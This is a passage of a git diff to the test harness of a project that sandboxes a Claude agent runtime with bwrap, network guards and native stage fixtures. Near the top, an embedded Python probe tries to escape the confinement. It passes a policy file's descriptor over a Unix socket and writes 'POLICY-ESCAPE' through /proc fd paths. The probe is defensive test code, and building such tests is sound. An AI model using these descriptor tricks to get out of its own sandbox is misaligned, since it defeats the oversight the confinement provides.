observeCompanion();holdCompanions(); closeSync(preConfinementFd); await host.close(); await nativeHost.close(); stream.close(); db.close(); inference.stop(true); } @@ -647,35 +621,23 @@ for path in ["/proc/self/map_files/" + n for n in os.listdir("/proc/self/map_fil # Descriptor transfer: a second process passes its best policy descriptor over # a Unix socket, and exposes it through its own /proc//fd. a, b = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) -status_r, status_w = os.pipe() child = os.fork() if child == 0: b.close() - os.close(status_r) try: held = os.open(policy, os.O_RDWR) except OSError: held = os.open(policy, os.O_RDONLY) - try: socket.send_fds(a, [b"x"], [held]) - except OSError as e: - os.write(status_w, code(e).encode()); os._exit(0) - os.write(status_w, b"sent"); a.recv(1); os._exit(0) + socket.send_fds(a, [b"x"], [held]); a.recv(1); os._exit(0) a.close() -os.close(status_w) -transfer_status = os.read(status_r, 32).decode() -os.close(status_r) -if transfer_status == "sent": - msg, fds, flags, addr = socket.recv_fds(b, 1, 4) -else: - fds = []; res["transferRefusal"] = transfer_status +msg, fds, flags, addr = socket.recv_fds(b, 1, 4) res["transferReceived"] = len(fds) for received in fds: try: os.write(received, b"POLICY-ESCAPE"); note("socket-fd", True) except OSError as e: note("socket-fd", False, code(e)) write_path("/proc/self/fd/%d" % received) -for name in os.listdir("/proc/%d/fd" % child) if transfer_status == "sent" else []: +for name in os.listdir("/proc/%d/fd" % child): path = "/proc/%d/fd/%s" % (child, name) if same(path): res["fdCandidates"] += 1; write_path(path) -if transfer_status == "sent": b.send(b"x") -os.waitpid(child, 0) +b.send(b"x"); os.waitpid(child, 0) print("ATTACK-RESULT " + json.dumps(res)) `; diff --git a/tests/fixtures/worker-limits-envelope.ts b/tests/fixtures/worker-limits-envelope.ts deleted file mode 100644 index 5803a4e091..0000000000 --- a/tests/fixtures/worker-limits-envelope.ts +++ /dev/null @@ -1,7 +0,0 @@ -/** The outer namespace runs only the fixture; native selection belongs to its service owner. */ -import {join} from "node:path"; -export function workerLimitsFixtureCommand(root:string,chromium?:string):string[]{ - const repo=join(import.meta.dir,"../.."); - return ["bwrap","--unshare-net","--bind","/","/","--proc","/proc","--dev","/dev",process.execPath, - "--preload",join(repo,"scripts/test-network-child-preload.ts"),join(import.meta.dir,"worker-limits-workloads.ts"),root,...(chromium?[chromium]:[])]; -} diff --git a/tests/fixtures/worker-limits-workloads.ts b/tests/fixtures/worker-limits-workloads.ts index 947f63f314..2834efc818 100644 --- a/tests/fixtures/worker-limits-workloads.ts +++ b/tests/fixtures/worker-limits-workloads.ts @@ -9,17 +9,14 @@ * `brain render`. Peak resident memory comes from the kernel's rusage of the * workload's process tree, measured inside the worker. Prints one JSON line. * - * Usage: bun worker-limits-workloads.ts [chromium] + * Usage: bun worker-limits-workloads.ts [chromium] */ -import {nativeScriptedService} from "../../scripts/test-native-guard.ts"; -import {bundledClaudeBinary} from "../../packages/ui-server/tests/helpers/claude-binary"; import { mkdirSync, writeFileSync } from "node:fs"; import { join, resolve } from "node:path"; import { launchFixtureAgentWorker as launchAgentWorker } from "../../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; import { formatLimit, workerLimitsPlan } from "../../packages/ui-sdk/src/server/worker-limits"; -const [root, chromium] = process.argv.slice(2) as [string, string | undefined]; -const claude=bundledClaudeBinary(); +const [root, claude, chromium] = process.argv.slice(2) as [string, string, string | undefined]; const REPO = resolve(import.meta.dir, "../.."); const CORPUS = join(REPO, "packages/core/fixtures/corpus"); const BRAIN_CLI = join(REPO, "packages/core/src/cli/brain.ts"); @@ -62,7 +59,6 @@ const inference = Bun.serve({ hostname: "127.0.0.1", port: 0, async fetch(reques return new Response(events.map((e: any) => `event: ${e.type}\ndata: ${JSON.stringify(e)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); const url = `http://127.0.0.1:${inference.port}`; -const releaseAuthority=nativeScriptedService(url,{fixtureRoots:[root,CORPUS]}); async function collect(stream: NodeJS.ReadableStream): Promise { let output = ""; @@ -104,4 +100,4 @@ try { { PUPPETEER_EXECUTABLE_PATH: chromium }) } : {}), }; console.log(JSON.stringify({ limits: plan.status, inferenceCalls: calls, results })); -} finally { inference.stop(true);releaseAuthority(); } +} finally { inference.stop(true); } diff --git a/tests/helpers/native-boundary-fixture.ts b/tests/helpers/native-boundary-fixture.ts deleted file mode 100644 index a076b98569..0000000000 --- a/tests/helpers/native-boundary-fixture.ts +++ /dev/null @@ -1,49 +0,0 @@ -/** Shared subprocess driver; each test still owns its launch and receipts. */ -import {spawnGuardFixture} from "./native-receipt-fixture"; -import {writeFileSync} from "node:fs"; -import {join} from "node:path"; -import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; -export const ROOT = join(import.meta.dir, "../.."); -export const runtime = bundledClaudeBinary(); -if (!runtime) throw new Error("Native boundary proof requires the installed SDK runtime identity"); - -export async function probe(script: string, home: string) { - const path = join(home, "probe.ts"); writeFileSync(path, script); - const child = spawnGuardFixture([process.execPath, "--no-install", path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, child.guardOutput()]); - return { code, output }; -} -export const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - import {nativeClaudeBoundary,nativeScriptedService as registerService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard(); - const registerScriptedService=(origin)=>registerService(origin,{fixtureRoots:[process.env.HOME]});`; - -// Check one bwrap scope at a time: the nested native view deliberately hides -// the trace directory, while its outer tracer must retain that mount. -export const guardMountOrderCheck = `function assertGuardMountOrder(mounts,expectedRemounts=[]) { - const operations=[],remounts=[]; - for(let i=0;iop.bind).map(op=>op.at)); - for(const target of expectedRemounts)if(!remounts.some(op=>op.target===target&&op.at>lastBind))throw Error("ORIGINAL_READONLY_REMOUNT_PRESERVED "+target); - for(const bind of operations.filter(op=>op.bind))for(const earlier of remounts)if(earlier.atop.bind))for(const later of operations) { - if(later.at>bind.at && (later.target==="/" || bind.target===later.target || bind.target.startsWith(later.target+"/")))throw Error("GUARD_BIND_HIDDEN_BY_LATER_MOUNT"); - } -}`; - - -/** Inject a keyless qualification fault before this fixture captures its tools. - * The outer unknown envelope keeps O1 masks across exec; the inner interceptor - * is installed before any service or boundary runs. No native payload launches. - */ -export async function probeGuardInitialization(script:string,home:string){ - const config=join(home,"qualification-bunfig.toml"),path=join(home,"qualification-probe.ts");writeFileSync(config,"");writeFileSync(path,script); - const child=spawnGuardFixture(["/usr/bin/python3","-I","-S","-c","import os,sys;os.execv(sys.argv[1],sys.argv[1:])",process.execPath,"--config="+config,path],{env:{PATH:"/usr/bin:/bin",HOME:home},stdout:"pipe",stderr:"pipe"}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);return {code,output}; -} diff --git a/tests/helpers/native-guard-copy-inventory.ts b/tests/helpers/native-guard-copy-inventory.ts deleted file mode 100644 index 174136f68f..0000000000 --- a/tests/helpers/native-guard-copy-inventory.ts +++ /dev/null @@ -1,54 +0,0 @@ -/** Syntax-only closure checks for disposable copies of the offline guard. */ -import ts from "typescript"; -import {existsSync,statSync,readFileSync} from "node:fs"; -import {dirname,join,relative,resolve} from "node:path"; -export interface GuardCopyList {owner:string;line:number;files:Set} -const guardName=(file:string)=>/^(?:scripts\/)?test-(?:network|native)-guard\.ts$/.test(file); -const normalized=(file:string)=>file.startsWith("scripts/")||file.startsWith("packages/")?file:`scripts/${file}`; -function literals(node:ts.Node):string[]{const values:string[]=[];function visit(child:ts.Node):void{if(ts.isStringLiteral(child)||ts.isNoSubstitutionTemplateLiteral(child))values.push(child.text);else ts.forEachChild(child,visit);}visit(node);return values;} -export function guardCopyLists(owner:string,text:string):GuardCopyList[]{ - const source=ts.createSourceFile(owner,text,ts.ScriptTarget.Latest,true),arrays:ts.ArrayLiteralExpression[]=[],direct=new Map>(),standalone=new Set();let copier=false; - function scope(node:ts.Node):ts.Node{let parent=node.parent;while(parent&&!ts.isFunctionLike(parent)&&!ts.isSourceFile(parent))parent=parent.parent;return parent??source;} - function visit(node:ts.Node):void{ - if(ts.isArrayLiteralExpression(node)&&(ts.isVariableDeclaration(node.parent)||ts.isForOfStatement(node.parent)||ts.isCallExpression(node.parent)&&/(?:copy|write|Object\.freeze)/i.test(node.parent.expression.getText(source)))&&node.elements.some(item=>(ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item))&&guardName(item.text))){ - arrays.push(node); - if(ts.isCallExpression(node.parent)&&node.parent.expression.getText(source)==="Object.freeze"){ - for(let parent:ts.Node|undefined=node.parent;parent;parent=parent.parent)if(ts.canHaveModifiers(parent)&&ts.getModifiers(parent)?.some(modifier=>modifier.kind===ts.SyntaxKind.ExportKeyword)){standalone.add(node);break;} - } - } - if(ts.isCallExpression(node)&&/(?:^|\.)(?:copyFileSync|cpSync|writeFileSync|write)$/.test(node.expression.getText(source))){ - copier=true; - if(/(?:^|\.)copyFileSync$/.test(node.expression.getText(source))&&node.arguments[1]){ - const files=literals(node.arguments[1]).filter(value=>/^scripts\/[\w./-]+\.(?:ts|mjs)$/.test(value)); - if(files.length>1)throw Error(`Guard copy destination concatenates script filenames: ${owner}:${source.getLineAndCharacterOfPosition(node.getStart(source)).line+1}`); - if(files.length){const key=scope(node),group=direct.get(key)??new Set();for(const file of files)group.add(file);direct.set(key,group);} - } - }ts.forEachChild(node,visit); - }visit(source); - if(!copier&&!standalone.size)return []; - return [...arrays.filter(node=>copier||standalone.has(node)).map(node=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files:new Set(node.elements.flatMap(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?[normalized(item.text)]:[]))})), - ...[...direct].filter(([,files])=>[...files].some(guardName)).map(([node,files])=>({owner,line:source.getLineAndCharacterOfPosition(node.getStart(source)).line+1,files}))]; -} -export function relativeImportClosure(root:string,entry:string):Set{ - const files=new Set(); - function visit(file:string):void{ - if(files.has(file))return;files.add(file); - const source=ts.createSourceFile(file,readFileSync(join(root,file),"utf8"),ts.ScriptTarget.Latest,true); - function dependency(specifier:string):void{ - if(!specifier.startsWith("."))return; - const base=resolve(root,dirname(file),specifier),candidates=[base,base+".ts",base+".mjs",base.replace(/\.js$/,".ts"),join(base,"index.ts")]; - const target=candidates.find(path=>existsSync(path)&&statSync(path).isFile());if(!target)throw Error(`Unresolved guard import: ${file} -> ${specifier}`); - visit(relative(root,target)); - } - function imports(node:ts.Node):void{ - if(ts.isImportDeclaration(node)&&!node.importClause?.isTypeOnly&&ts.isStringLiteral(node.moduleSpecifier))dependency(node.moduleSpecifier.text); - if(ts.isExportDeclaration(node)&&!node.isTypeOnly&&node.moduleSpecifier&&ts.isStringLiteral(node.moduleSpecifier))dependency(node.moduleSpecifier.text); - if(ts.isCallExpression(node)&&node.expression.kind===ts.SyntaxKind.ImportKeyword&&node.arguments[0]&&ts.isStringLiteral(node.arguments[0]))dependency(node.arguments[0].text); - ts.forEachChild(node,imports); - }imports(source); - }visit(entry);return files; -} -export function missingGuardImports(root:string,list:GuardCopyList):string[]{ - const required=new Set();for(const file of list.files)if(guardName(file))for(const dependency of relativeImportClosure(root,file))required.add(dependency); - return [...required].filter(file=>!list.files.has(file)).sort(); -} diff --git a/tests/helpers/native-managed-proof.ts b/tests/helpers/native-managed-proof.ts deleted file mode 100644 index 82469cee80..0000000000 --- a/tests/helpers/native-managed-proof.ts +++ /dev/null @@ -1,46 +0,0 @@ -/** Observe the real managed allocator; keep its identity and publication logic. */ -import {spyOn} from "bun:test"; -import {AsyncLocalStorage} from "node:async_hooks"; -import * as output from "../../packages/ui-sdk/src/server/worker-native-output"; -import * as managers from "../../packages/ui-sdk/src/server/native-brain-manager-client"; -import {registerNativeFixtureManagedKeeper,nativeScriptedService,nativeFixtureManagerClient,observeNativeFixturePreparations} from "../../scripts/test-native-guard"; -import {existsSync} from "node:fs"; - -// Bun reuses an existing spy object. Capture the real factories once and install -// each observer once; nested fixtures own only their own registrations. -const realManager=managers.createNativeBrainManagerClient,realPrepare=output.prepareNativeWorkerOutput; -const managerContext=new AsyncLocalStorage<{active:boolean}|undefined>(); -let managerObservers=0,managerObserver:ReturnType|undefined; -export function observeNativeFixtureManagers():()=>void { - const previous=managerContext.getStore(),context={active:true};managerContext.enterWith(context); - const stopPreparations=observeNativeFixturePreparations(); - if(managerObservers++===0)managerObserver=spyOn(managers,"createNativeBrainManagerClient").mockImplementation(options=>{ - const owner=managerContext.getStore();return owner?nativeFixtureManagerClient(options,()=>owner.active):realManager(options); - }); - return ()=>{if(!context.active)return;context.active=false;if(managerContext.getStore()===context)managerContext.enterWith(previous);if(--managerObservers===0){managerObserver?.mockRestore();managerObserver=undefined;}stopPreparations();}; -} - -type StageObservation={closed:boolean;releases:Set<()=>void>}; -const stageContext=new AsyncLocalStorage(); -let stageObservers=0,stageObserver:ReturnType|undefined; -export function observeNativeProofStages():()=>void { - const closeManagers=observeNativeFixtureManagers(),previous=stageContext.getStore(),context:StageObservation={closed:false,releases:new Set()};stageContext.enterWith(context); - if(stageObservers++===0)stageObserver=spyOn(output,"prepareNativeWorkerOutput").mockImplementation(async(...args)=>{ - const owner=stageContext.getStore(),prepared=await realPrepare(...args);if(!owner)return prepared; - let unregister:()=>void; - try{if(owner.closed)throw Error("Fixture stage observation expired");unregister=await registerNativeFixtureManagedKeeper(prepared.output.storage,prepared.view,args[1].areas??[]);if(owner.closed){unregister();throw Error("Fixture stage observation expired");}}catch(error){await prepared.cleanup();throw error;} - const release=()=>{owner.releases.delete(release);unregister();};owner.releases.add(release); - const cleanup=prepared.cleanup.bind(prepared);let closing:Promise|undefined; - prepared.cleanup=()=>closing??=(async()=>{try{await cleanup();}finally{release();}})(); - return prepared; - }); - return ()=>{if(context.closed)return;context.closed=true;if(stageContext.getStore()===context)stageContext.enterWith(previous);try{for(const release of [...context.releases])release();}finally{if(--stageObservers===0){stageObserver?.mockRestore();stageObserver=undefined;}closeManagers();}}; -} - -/** Keyless manager controls have no model service; pin their fixture lifetime. */ -export async function withNativeProofStages(brain:string,run:()=>Promise):Promise { - const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); - const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,...["/identity-fixture","/identity-server-private"].filter(existsSync)]}); - const close=observeNativeProofStages(); - try{return await run();}finally{try{close();}finally{leave();server.stop(true);}} -} diff --git a/tests/helpers/native-receipt-fixture.ts b/tests/helpers/native-receipt-fixture.ts deleted file mode 100644 index 0bfcf9d088..0000000000 --- a/tests/helpers/native-receipt-fixture.ts +++ /dev/null @@ -1,9 +0,0 @@ -/** Explicit private receipt capture for guard unit fixtures, separate from stderr. */ -import { captureNativeReceipts } from "../../scripts/native-test-receipts"; -export function spawnGuardFixture(argv:string[],options:Record={}) { - const capture=captureNativeReceipts(); - let child:Bun.Subprocess<"ignore","pipe","pipe">; - try{child=Bun.spawn(argv,{...options,stdin:options.stdin??"ignore",stdout:"pipe",stderr:"pipe",env:{...(options.env??process.env),...capture.env}});}catch(error){capture.dispose();throw error;} - let reading:Promise|undefined; - return Object.assign(child,{guardOutput(){return reading??=Promise.all([new Response(child.stderr).text(),child.exited]).then(([text])=>text+capture.read()).finally(()=>capture.dispose());}}); -} diff --git a/tests/helpers/native-stage-metadata-fixture.ts b/tests/helpers/native-stage-metadata-fixture.ts deleted file mode 100644 index 54d2165927..0000000000 --- a/tests/helpers/native-stage-metadata-fixture.ts +++ /dev/null @@ -1,39 +0,0 @@ -/** Transparent fixture observer; production manager/stage return values stay real. */ -import {spyOn} from "bun:test"; -import * as stages from "../../packages/ui-sdk/src/server/native-brain-stage"; -import {serveNativeBrainManager,type NativeBrainManagerConfig,type NativeBrainManagerOptions} from "../../packages/ui-sdk/src/server/native-brain-manager"; -import {nativeStageMetadataSocket} from "../../scripts/native-stage-metadata-channel"; -import {join} from "node:path"; -import {readFileSync,statSync} from "node:fs"; -import {NATIVE_CHECKPOINT_READER_PROGRAM} from "../../packages/ui-sdk/src/server/native-checkpoint-reader"; -const realStart=stages.startNativeStage; -const configurations=new Set<{config:NativeBrainManagerConfig;channels:Set<()=>Promise>}>(); -let observer:ReturnType|undefined; -export async function serveNativeFixtureBrainManager(config:NativeBrainManagerConfig,options?:NativeBrainManagerOptions){ - const registration={config,channels:new Set<()=>Promise>()};configurations.add(registration); - observer??=spyOn(stages,"startNativeStage").mockImplementation(async input=>{ - const handle=await realStart(input),owner=[...configurations].find(({config})=>input.workerUid!==undefined&&input.path===join(config.storePath,".brain-native/stages",input.id)&&config.appUid===input.appUid&&config.appGid===input.appGid&&config.workerUid===input.workerUid); - if(!owner)return handle; - const source=readFileSync(join(import.meta.dir,"../../packages/ui-sdk/src/server/native-brain-stage.ts"),"utf8"),program=/const STAGE_PROGRAM = String.raw`([\s\S]*?)`;/m.exec(source)?.[1]; - if(!program){await handle.close();throw Error("Production stage program unavailable");} - const expected=["/usr/bin/python3","-I","-S","-c",program,input.path,input.lower,String(input.appUid),String(input.appGid),String(input.allowanceBytes),String(input.workerUid??0),NATIVE_CHECKPOINT_READER_PROGRAM,String(input.timeoutMs/1000)]; - let readerPid=handle.stage.namespacePid,readerStart:string|undefined,readerNamespace:string|undefined; - for(let depth=0;readerPid>1&&depth<32;depth++){ - const status=readFileSync(`/proc/${readerPid}/status`,"utf8"),args=readFileSync(`/proc/${readerPid}/cmdline`,"utf8").split("\0").slice(0,-1); - if(/^Uid:\s+0\s+0\s+0\s+0$/m.test(status)&&JSON.stringify(args)===JSON.stringify(expected)&&statSync(`/proc/${readerPid}/ns/user`,{bigint:true}).ino===statSync("/proc/self/ns/user",{bigint:true}).ino){readerStart=readFileSync(`/proc/${readerPid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19];readerNamespace=String(statSync(`/proc/${readerPid}/ns/mnt`,{bigint:true}).ino);break;} - const parent=/^PPid:\s+(\d+)/m.exec(status);if(!parent)break;readerPid=Number(parent[1]); - } - if(!readerStart||!readerNamespace){await handle.close();throw Error("Exact production stage owner unavailable");} - const data={readerPid,readerStart,readerNamespace,socket:nativeStageMetadataSocket(owner.config.socketPath,input.id),id:input.id,pid:handle.stage.namespacePid,start:handle.stage.namespaceStart,namespace:handle.mountNamespaceInode,root:input.path+"/merged",dev:handle.mergedDevice,ino:handle.mergedInode,appUid:input.appUid,gid:input.appGid,workerUid:input.workerUid}; - const child=Bun.spawn(["/usr/bin/python3","-I","-S",join(import.meta.dir,"../../scripts/native-stage-metadata-channel.py"),JSON.stringify(data)],{env:{},stdin:"ignore",stdout:"pipe",stderr:"pipe"}); - const errors=new Response(child.stderr).text();void errors.catch(()=>{}); - let closing:Promise|undefined; - const close=()=>closing??=(async()=>{owner.channels.delete(close);try{child.kill("SIGTERM");}catch{}await child.exited;await errors;})();owner.channels.add(close); - try{const reader=child.stdout.getReader();const first=await reader.read();if(first.done||new TextDecoder().decode(first.value).trim()!=='{"ready":true}')throw Error("Fixture metadata channel failed readiness");reader.releaseLock();} - catch(error){await close();await handle.close();throw Error(String(error)+": "+(await errors).slice(-2000));} - const original=handle.close.bind(handle);handle.close=async()=>{try{await close();}finally{await original();}};return handle; - }); - const release=async()=>{configurations.delete(registration);for(const close of [...registration.channels])await close();if(!configurations.size){observer?.mockRestore();observer=undefined;}}; - try{const service=await serveNativeBrainManager(config,options),close=service.close.bind(service);let closing:Promise|undefined;service.close=()=>closing??=(async()=>{try{await close();}finally{await release();}})();return service;} - catch(error){await release();throw error;} -} diff --git a/tests/helpers/native-timeout-inventory.ts b/tests/helpers/native-timeout-inventory.ts index 2e4c6e75d6..03a8b54f7f 100644 --- a/tests/helpers/native-timeout-inventory.ts +++ b/tests/helpers/native-timeout-inventory.ts @@ -9,7 +9,7 @@ export function nativeDeadlineSources(root:string):Map { for(const file of [...files].sort()){ const source=known.get(file)??ts.createSourceFile(file,readFileSync(join(root,file),"utf8"),ts.ScriptTarget.Latest,true); let direct=false; - function imports(node:ts.Node){if(ts.isImportDeclaration(node)&&!node.importClause?.isTypeOnly){const names=node.importClause?.namedBindings;if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&/^(?:nativeScriptedService|nativeScriptedQuery|bundledClaudeBinary|nativeGuardEnvironment|nativeNamespacePolicy|launchAgentWorker|launchAgentWorkerAsync|workerBootstrap)$/.test((item.propertyName??item.name).text))direct=true;}ts.forEachChild(node,imports);}imports(source); + function imports(node:ts.Node){if(ts.isImportDeclaration(node)&&!node.importClause?.isTypeOnly){const names=node.importClause?.namedBindings;if(names&&ts.isNamedImports(names))for(const item of names.elements)if(!item.isTypeOnly&&/^(?:nativeScriptedService|nativeScriptedQuery|claudeRunner|bundledClaudeBinary|nativeGuardEnvironment|nativeNamespacePolicy|launchAgentWorker|launchAgentWorkerAsync|workerBootstrap)$/.test((item.propertyName??item.name).text))direct=true;}ts.forEachChild(node,imports);}imports(source); // Disposable native/identity entrypoints also launch through argv delegates. const delegated=file.includes("/fixtures/")&&/(?:native|identity)/.test(basename(file)); if(nativeSdkLauncher(source)||namespaceLaunches(source).length||direct||delegated||file.startsWith("scripts/native-proof/"))result.set(file,source); diff --git a/tests/helpers/provider-history.ts b/tests/helpers/provider-history.ts index d24a267b3b..5809a04dbd 100644 --- a/tests/helpers/provider-history.ts +++ b/tests/helpers/provider-history.ts @@ -1,6 +1,6 @@ import { expect } from "bun:test"; import { DEADLINE_FACTOR_ENV, watchdogMs } from "../../scripts/test-deadlines.js"; -import { mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve } from "node:path"; @@ -129,7 +129,7 @@ export function noInternalNotes(capture: HistoryCapture): void { } } -export async function captureOffline(probe: string, options: { isolateManagedSettings?: boolean; managedSettings?: object; hangMs?:number } = {}): Promise { +export async function captureOffline(probe: string, options: { isolateManagedSettings?: boolean; managedSettings?: object } = {}): Promise { const root = resolve(import.meta.dir, "../.."); const scratch = mkdtempSync(join(tmpdir(), "odysseus-provider-history-")); // A private /etc works even when the runner has no /etc/claude-code. @@ -139,10 +139,6 @@ export async function captureOffline(probe: string, options: { isolateManagedSet const systemFiles = ["passwd", "group", "nsswitch.conf", "os-release", "localtime", "hosts", "resolv.conf"]; if (options.isolateManagedSettings) { mkdirSync(join(managed, "claude-code"), { recursive: true }); - // Keep only the compiler alternative needed by the child's fixed guard - // helpers; host managed settings remain absent from this private /etc. - const compiler=Bun.which("cc");if(!compiler)throw Error("Fixture compiler is unavailable"); - mkdirSync(join(managed,"alternatives"));symlinkSync(realpathSync(compiler),join(managed,"alternatives/cc")); for (const name of systemFiles) writeFileSync(join(managed, name), ""); if (options.managedSettings) writeFileSync(join(managed, "claude-code/managed-settings.json"), JSON.stringify(options.managedSettings)); } @@ -154,17 +150,10 @@ export async function captureOffline(probe: string, options: { isolateManagedSet PI_CODING_AGENT_DIR: join(scratch, "pi-agent"), ...(process.env[DEADLINE_FACTOR_ENV] ? { [DEADLINE_FACTOR_ENV]: process.env[DEADLINE_FACTOR_ENV] } : {}) }, stdout: "pipe", stderr: "pipe", }); - const deadline = setTimeout(() => child.kill(), watchdogMs(options.hangMs??170_000)); + const deadline = setTimeout(() => child.kill(), watchdogMs(170_000)); try { const [out, err, exit] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); expect(exit, err || out).toBe(0); return JSON.parse(readFileSync(join(scratch, "requests.json"), "utf8")); } finally { clearTimeout(deadline); child.kill(); rmSync(scratch, { recursive: true, force: true }); } } - -/** Real fixture allocation; callers retain its lifetime through native teardown. */ -export function allocateManagedSettingsFixture(root:string,source:string) { - const directory=mkdtempSync(join(root,"odysseus-managed-settings-")),path=join(directory,"managed-settings.json"); - writeFileSync(path,readFileSync(source),{mode:0o400,flag:"wx"}); - return {path,close(){rmSync(directory,{recursive:true,force:true});}}; -} diff --git a/tests/helpers/test-invocation-fixture.ts b/tests/helpers/test-invocation-fixture.ts index 25036bbd36..e8162dcdd5 100644 --- a/tests/helpers/test-invocation-fixture.ts +++ b/tests/helpers/test-invocation-fixture.ts @@ -10,7 +10,7 @@ export function invocationFixture(parent = tmpdir()) { write("bun.lock", "{}\n"); write(".gitignore", "node_modules/\npackages/*/dist/\ntmp/\n"); write("tsconfig.json", JSON.stringify({ compilerOptions: { target: "ES2019", module: "ESNext", moduleResolution: "Bundler", types: [], skipLibCheck: true } })); - for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-native-guard.ts", "native-test-receipts.ts", "native-device-diagnostics.ts", "native-exec-trace.ts", "native-runtime-pin.ts", "native-opaque-stage.ts", "native-stage-metadata-channel.ts", "native-stage-links.ts", "native-launch-ready.ts", "test-deadlines.ts", "native-title-collector.ts", "native-shared-audit.ts", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { + for (const file of ["build.ts", "clean.ts", "build-execution.ts", "build-receipt.ts", "build-repeat-observation.ts", "bin-modes.ts", "publishable-packages.ts", "workspace-lease.mjs", "host-admission.mjs", "test.ts", "test-shards.ts", "test-shard-costs.json", "test-invocation.ts", "test-invocation-child.ts", "runtime-test-builds.ts", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "offline-runner/pipes.ts", "offline-runner/masks.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "test-network-child-preload.ts", "unit-worker-entry.sh"]) { write(`scripts/${file}`, readFileSync(join(source, "scripts", file), "utf8")); } for (const file of ["packages/core/tests/cli-harness.ts", "packages/ui-react/tests/fixtures/runtime-package-build.ts", "packages/ui-react/tests/fixtures/runtime-hook-phases.ts"]) write(file, readFileSync(join(source, file), "utf8")); diff --git a/tests/helpers/unit-worker-fixture.ts b/tests/helpers/unit-worker-fixture.ts index eef4369774..747ad37663 100644 --- a/tests/helpers/unit-worker-fixture.ts +++ b/tests/helpers/unit-worker-fixture.ts @@ -74,7 +74,7 @@ const stop=Date.now()+5000;while((!existsSync(join(shared,"built-1"))||!existsSy ${options.failBuild ? "process.exit(7);" : ""} mkdirSync("dist",{recursive:true});writeFileSync("dist/lease.json",JSON.stringify({lease:JSON.parse(process.env.BRAIN_WORKSPACE_LEASE),nonce:process.env.BRAIN_TEST_INVOCATION_NONCE}));writeFileSync("dist/ready.txt","Odysseus builds the raft.");receipt.packageEnd("raft",true);receipt.finish(0);\n`); for (const file of ["scripts/test.ts", "scripts/runtime-test-builds.ts", "scripts/test-invocation.ts", "scripts/test-invocation-child.ts", "scripts/publishable-packages.ts", - "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/test-native-guard.ts", "scripts/native-test-receipts.ts", "scripts/native-device-diagnostics.ts", "scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-stage-links.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts", "packages/core/tests/cli-harness.ts"]) { + "scripts/workspace-lease.mjs", "scripts/host-admission.mjs", "scripts/test-shards.ts", "scripts/test-shard-costs.json", "scripts/test-network-preload.ts", "scripts/test-home.ts", "scripts/test-network-child-preload.ts", "scripts/test-network-guard.ts", "scripts/offline-runner/pipes.ts", "scripts/offline-runner/masks.ts", "scripts/offline-runner/qualification.ts", "scripts/offline-runner/catalog.py", "packages/core/tests/cli-harness.ts"]) { write(file, readFileSync(join(source, file), "utf8")); } const files = ["odysseus", "penelope"].map(name => `tests/${name}.test.ts`); diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index c3eeb83564..03254322b8 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -1,6 +1,5 @@ -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; import { afterEach, expect, test } from "bun:test"; -import { mkdirSync, readFileSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve } from "node:path"; import { BROWSER_DETERMINISM_REPORT, browserDeterminismPairs, categoryCommands, DETERMINISM_REPORT, determinismFiles, proofProblems, PROOF_JOBS, unitFiles } from "../scripts/ci-proof"; @@ -423,57 +422,3 @@ test("an oversized browser selection runs as planned partitions: every pair in e expect(browserDeterminismShards({ ...selected, browserDeterminism: undefined, cadence: "confirmation" })).toEqual([1]); expect(browserDeterminismShards({ ...armada, cadence: "integrated" }), "MAIN_NEVER_REPEATS").toEqual([1]); }); - -test("standalone native measurement commands load the same offline boundary as tests", () => { - const plan = planChecks(["scripts/test-network-guard.ts"], workspaces(ROOT)); - const commands = localChecks(plan, true); - for (const script of ["measure-claude-runtime", "measure-claude-enforcement", "measure-claude-delegation", "measure-claude-capability", "measure-claude-haiku"]) { - const command = commands.find(command => command.argv.join(" ").includes(`scripts/${script}.ts`)); - expect(command, script).toBeDefined(); - 